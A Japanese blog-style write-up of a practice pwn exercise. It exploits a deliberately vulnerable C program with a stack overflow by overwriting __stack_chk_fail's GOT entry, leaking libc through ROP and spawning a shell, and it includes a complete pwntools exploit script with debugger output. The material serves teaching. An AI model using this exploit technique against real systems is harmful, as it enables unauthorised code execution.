__stack_chk_failを利用したGOT Overwrite
このアイデアに初めて出会った時「なるほど!!」と感心した。
一つ前の記事のように、main
関数の最後にわかりやすくexit
関数があったりはしない。
ソースコードには書かれていない__stack_chk_fail
関数の存在を思い出す。
__stack_chk_fail
のGOT Overwriteおよびcanaryの破壊を行い、ROPでシェルをとる。
プログラムの概要
問題プログラムはここ(『詳解セキュコン』実践問題33.5を参考に)
メッセージを受け取るのと、任意のアドレスに対して8バイト(0x20 - 0x18)だけ値を書き込める:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln Input message >> test Input address >> 0x403378 Input value >> 0x40129c
checksec
┌──(shoebill㉿shoebill)-[~/pwn] └─$ checksec ./vuln [*] '/home/shoebill/pwn/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Partial RELROなのでGOTエントリへの書き込みがある程度可能(GOT Overwrite攻撃達成には十分)。
ソースコード
int main(void){ char msg[0x10] = {}; void **p; setbuf(stdout, NULL); printf("Input message >> "); fgets(msg, 0x80, stdin); printf("Input address >> "); scanf("%p", &p); printf("Input value >> "); scanf("%p", p); return 0; }
スタック上に用意した0x10バイトの文字配列に対して、0x80バイト書き込こめるbofの脆弱性がある。
SSPが有効なので、__stack_chk_fail
のGOT OverwriteとROPを利用する。
exploit
(ちなみに、canary破壊に必要なのは24バイト。そこまで気にする必要ないので詳細は最後の方で説明)
#!/usr/bin/env python3 import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './vuln' binf = ELF(bin_file, checksec = False) context.binary = binf addr_printf = binf.symbols['printf'] got_printf = binf.got['printf'] got_stack_chk_fail = binf.got['__stack_chk_fail'] libc = binf.libc offset_libc_printf = libc.symbols['printf'] def attack(conn): # printf(got_printf) rop = ROP(binf) rop.raw(rop.ret) rop.printf(got_printf) rop.raw(rop.ret) rop.main() payload = p64(0xdeadbeef) # fill top 8 bytes payload += rop.chain() conn.sendlineafter('Input message >> ', payload) conn.sendlineafter('Input address >> ', hex(got_stack_chk_fail)) conn.sendafter('Input value >> ', hex(rop.r12_r13_r14_r15.address)) conn.send(p64(0xcafebabe)) # calc libc base addr_libc_printf = unpack(conn.recv(6), 'all') libc.address = addr_libc_printf - offset_libc_printf # spawn a shell rop = ROP(libc) rop.raw(rop.ret) rop.system(next(libc.search(b'/bin/sh'))) conn.sendlineafter('Input message >> ', rop.chain()) conn.sendlineafter('Input address >> ', hex(binf.got['setbuf'])) conn.sendlineafter('Input value >> ', '0') def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
戦略としては
「libc中のprintf
の実体のアドレスを表示し、その後再度main
関数を実行する」ようなROPチェーンをmessageとして入力する
↓
(ROP攻撃するめに)__stack_chk_fail
のGOTを4回popするガジェットのアドレスに書き換える
↓
(ROPにより表示されたprintf
の実体のアドレスからlibcのベースアドレスを求める)
↓
(最初のROPにより)再度実行されたmain
関数に対して、シェルを起動するようなROPチェーンを入力してシェルをとる
libc中のprintf
のアドレスを表示しその後再度main
関数を実行するROPチェーン
rop = ROP(binf) rop.raw(rop.ret) rop.printf(got_printf) rop.raw(rop.ret) rop.main()
print(rop.dump())
でダンプできる:
0x0000: 0x40101a ret 0x0008: 0x4012a3 pop rdi; ret 0x0010: 0x403380 [arg0] rdi = got.printf 0x0018: 0x401050 printf 0x0020: 0x40101a ret 0x0028: 0x401166 main()
既に呼び出されているprintf
関数のGOTエントリには、printf
の実体のアドレスがあるのでそれを表示させる(libcのベースアドレスを計算するため)。
(このROPチェーンはcanaryを破壊するのに十分な長さがある)
ROPを成功させるためのpayloadとガジェット
__stack_chk_fail
が呼ばれる直前のスタックの様子をみると
gdb-peda$ b *main+202 gdb-peda$ r Input message >> aaaaaaaaaaaaaaaaaaaaaaaa # 24 letters Input address >> 0x403378 # setbuf's GOT Input value >> 0x40129c # gadget's addr
si
で一命令だけ進めると、call 0x401030 <__stack_chk_fail@plot>
の次の命令leave
のアドレスがリターンアドレスとしてスタックに乗せられる:
つまり__stack_chk_fail
が呼ばれた直後のスタックは次のようになっている:
+-----------------+ | | | leave's addr | | | +-----------------+ | | | 0x0 | | | +-----------------+ | | | Input address | | | +-----------------+ | | | Input message | | (top 8 bytes) | +-----------------+
messageにROPチェーンを与えると考えると、3~4回popするようなガジェットが必要。
exploitでは、messageのトップ8バイトを”deadbeef”で埋めて、そこからROPチェーンを続ける。
なのでpayloadとガジェットについて
payload = p64(0xdeadbeef) payload += rop.chain() conn.sendlineafter('Input message >> ', payload) conn.sendlineafter('Input address >> ', hex(got_stack_chk_fail)) conn.sendafter('Input value >> ', hex(rop.r12_r13_r14_r15.address)) conn.send(p64(0xcafebabe))
となる。
scanfの仕様
ret2mainによる二度目のmain
関数を実行すると
Input message >> Input address >>
のように"Input message"がスキップされてしまう。これはscanf
の仕様が原因。
詳しくはここ: www.sejuku.net
一回目のmain
関数のscanf
で入力した際に\n
がバッファに残ったままになり、それが二回目のmain
関数実行時に自動的に"Input message"に
入力されてしまう。
それを回避するためにconn.send(p64(0xcafebabe))
とデータを送信してする。
libcのベースアドレスの計算
ROPチェーン内に組み込まれてる、printf(got_printf)
でlibc中のprintf
の実体のアドレスが得られるから、オフセットoffset_libc_printf = libc.symbols['printf']
との差をとればlibcのベースアドレスが得られる。
シェルを起動するROPチェーン
rop = ROP(libc) rop.raw(rop.ret) rop.system(next(libc.search(b'/bin/sh'))) conn.sendlineafter('Input message >> ', rop.chain()) conn.sendlineafter('Input address >> ', hex(binf.got['setbuf'])) conn.sendlineafter('Input value >> ', '0')
0x0000: 0x7f54b5428419 ret 0x0008: 0x7f54b542978d pop rdi; ret 0x0010: 0x7f54b55b1117 [arg0] rdi = 140001796624663 0x0018: 0x7f54b544a4e0 system
二度目のmain
関数が呼ばれることで新たなスタックフレームが用意される。
そこにこのROPチェーンを乗っけてやることで、main
関数終了時にスタックトップにあるこのROPチェーンに命令が移る。
(ret命令はスタックトップの値をpopしてrdiレジスタに格納する)
後続の"Input address >> "と"Input value >> "は適当な値をいれてやればなんでもよい。
実行結果:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./exploit.py [+] Starting local process './vuln': pid 42327 [*] Loaded 14 cached gadgets for './vuln' [*] Loaded 225 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6' [*] Switching to interactive mode $ uname -a Linux shoebill 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux
canary破壊に必要なバイト数
main
関数ディスアセンブル結果
gdb-peda$ disas main Dump of assembler code for function main: 0x0000000000401166 <+0>: push rbp 0x0000000000401167 <+1>: mov rbp,rsp 0x000000000040116a <+4>: sub rsp,0x30 0x000000000040116e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000401177 <+17>: mov QWORD PTR [rbp-0x8],rax 0x000000000040117b <+21>: xor eax,eax 0x000000000040117d <+23>: mov QWORD PTR [rbp-0x20],0x0 0x0000000000401185 <+31>: mov QWORD PTR [rbp-0x18],0x0 0x000000000040118d <+39>: mov rax,QWORD PTR [rip+0x221c] # 0x4033b0 <stdout@@GLIBC_2.2.5> ...
より変数とスタックの様子はこんな感じ:
+-----------------+ | | -0x20 | p | +-----------------+ | | | | | | -0x18 | msg | | | | | | | | | +-----------------+ | | -0x08 | canary | | | +-----------------+ | | | saved rbp | | | +-----------------+ | | +0x08 | retaddr | | | +-----------------+
ゆえにcanaryを壊すには24(= 0x20 - 0x8)バイト入力すればよい。
本当に正しいかを確認すると
gdb-peda$ r Input message >> CCCCCCCCCCCCCCCCCCCCCCCC Input address >> 0x404018 Input value >> 0x401166 *** stack smashing detected ***: terminated ('C' * 24 = 0x20-0x8)
一文字減らすと
gdb-peda$ r Input message >> CCCCCCCCCCCCCCCCCCCCCCC Input address >> 0x404018 Input value >> 0x401166 [Inferior 1 (process 5177) exited normally] Warning: not running